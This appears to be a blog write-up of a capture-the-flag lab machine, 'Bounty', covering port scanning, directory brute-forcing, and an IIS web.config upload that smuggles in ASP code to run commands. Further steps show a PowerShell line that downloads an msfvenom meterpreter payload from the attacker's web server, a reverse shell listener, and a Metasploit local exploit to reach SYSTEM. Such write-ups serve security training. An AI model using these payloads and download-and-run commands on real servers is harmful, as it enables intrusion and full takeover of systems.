| 4 min read
Table of contents
Scanning Phase
First, we check the IP of the
Bounty machine
and try a ping
to see if we have access.
ping.
host$ ping -c2 10.10.10.93
Then, we scan the ports with nmap
. In this case, we’re going to use
basic nmap
.
host$ nmap 10.10.10.93
And, we see that there is only one port open port 80
.
Then, we try to access port 80
with our browser, and it opens a web
page with an image of Merlin.
As we see on this page, there is nothing more than an image, so we’re
going to scan the whole web server with dirbuster
to see if we can
access something useful.
host$ dirb http://10.10.10.91
Here we found a folder where uploaded files are stored. We need the page
of the upload functionality. With dirbuster
, and some options, we can
set different extensions and obtain what we are looking for. Since this
is a Windows
machine, we are going to use asp
and aspx
extensions.
host$ dirb http://10.10.10.91 -X .asp,.aspx
Getting user
In the last step we got an upload page, but with no further instructions. There we can try to upload an image and check the result.
But if we try with a webshell in aspx
or asp
it returns an error.
The web server has a filter that possibly checks the extension of the uploaded file. If you try with double extension it won’t work either.
So what can we do? In Windows
there are 3
major types of extensions:
asp
, aspx
, and config
. We already tried the asp
and aspx
extensions, what happens if we upload a web.config
file?
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*"
modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified"
requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
We can see the result is positive. The web.config
file is used by
IIS
servers to store settings that come with the installation of the
API
.
With this, we can start to exploit this machine. There is a
vulnerability on the web.config
file processing that could allow an
attacker to execute code remotely, by injecting asp
code in the file
(More information can be found
here
).
So, in order to have remote code execution (RCE
), we need to add the
following lines to our web.config
file:
<!--
<%
Response.write("-"&"->")
Response.write("</p><pre>")
Set wShell1 = CreateObject("WScript.Shell")
Set cmd1 = wShell1.Exec("cmd.exe /c whoami")
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write("</pre><p><!-"&"-")
%>
-->
Then, we upload it, and access the file via the web, as before.
Eureka! With this, we can have our user flag, but we want an active
shell that we can use for further enumeration. For this, we can use
msfvenom
. This is a tool that creates payloads in order to gain access
to a machine. It is installed by default on Kali
; it also comes with
the installation of Metasploit
. Then, we upload our file to the server
with our RCE
and start a web server on our side to download our
exploit.
First, the exploit with msfvenom:
host$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip.ip.ip.ip LPORT=port -f exe -o myexploit.exe --smallest
This will create a malicious file. When executed on the server it will
give us a reverse shell with our RCE
file using meterpreter
. This is
an advanced, dynamically extensible payload that uses in-memory DLL
injection stagers, and is extended over the network at runtime.
Then we need to start a web server in our machine. We can do it with
Python
by running:
host$ python -m SimpleHTTPServer 7000
To make the server download our file, we can use the next PowerShell
command in our web.config
file replacing the whoami
one:
Set cmd1 = wShell1.Exec("cmd.exe /c powershell -NoProfile -ExecutionPolicy unrestricted -Command (new-object System.Net.WebClient).Downloadfile('http://ip.ip.ip.ip:7000/myexploit.exe', 'C:\Windows\Temp\myexploit.exe')")
Upload it, and then open it on a private tab. Now, we can see that the server downloaded our file.
Then we need to start our listener. We can use Metasploit
to do it:
host$ msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST ip.ip.ip.ip
msf exploit(multi/handler) > set LPORT port
msf exploit(multi/handler) > run
With this, we are ready to initiate our reverse shell. In order to do
it, we need to run our exploit on the server with the same RCE
method
as before, changing the command to the following:
Set cmd1 = wShell1.Exec("cmd.exe /c C:\Windows\Temp\myexploit.exe")
Upload it, open the page of the web.config
file and we have our
reverse shell.
Getting root
With meterpreter
we can start to enumerate the server.
And, we see that the server has an x64 Architecture
. We are going to
repeat the process (msfvenom
, upload
, handler
, run
) but now with
the payload:
windows/x64/meterpreter/reverse_tcp
Then, when we have another session opened, we are going to run the next one:
meterpreter > run post/multi/recon/local_exploit_suggester
Here we got some exploits that we can use to elevate to Administrator
,
we are going to use the first one with:
meterpreter > background
msf exploit(multi/handler) > use exploit/windows/local/ms10_092_schelevator
msf exploit(windows/local/ms10_092_schelevator) > set SESSION sessionnum
msf exploit(windows/local/ms10_092_schelevator) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf exploit(windows/local/ms10_092_schelevator) > set LPORT port
msf exploit(windows/local/ms10_092_schelevator) > set LHOST ip.ip.ip.ip
msf exploit(windows/local/ms10_092_schelevator) > run
When it finishes, we will have a new session created and with user NT Authority\System
.
With this we can read our root
flag.
On this challenge, we learned there was a vulnerability with the
web.config
file. We also learned to always check the architecture when
we access a machine as a user, and how to use some of the meterpreter
commands.
Table of contents
Share
Recommended blog posts
You might be interested in the following related posts.
Towards enhanced vulnerability prioritization
How we enhance our tests by standardizing them
Introduction to cybersecurity in the aviation sector
Why measure cybersecurity risk with our CVSSF metric?
Our new testing architecture for software development
Protecting your PoS systems from cyber threats
Top seven successful cyberattacks against this industry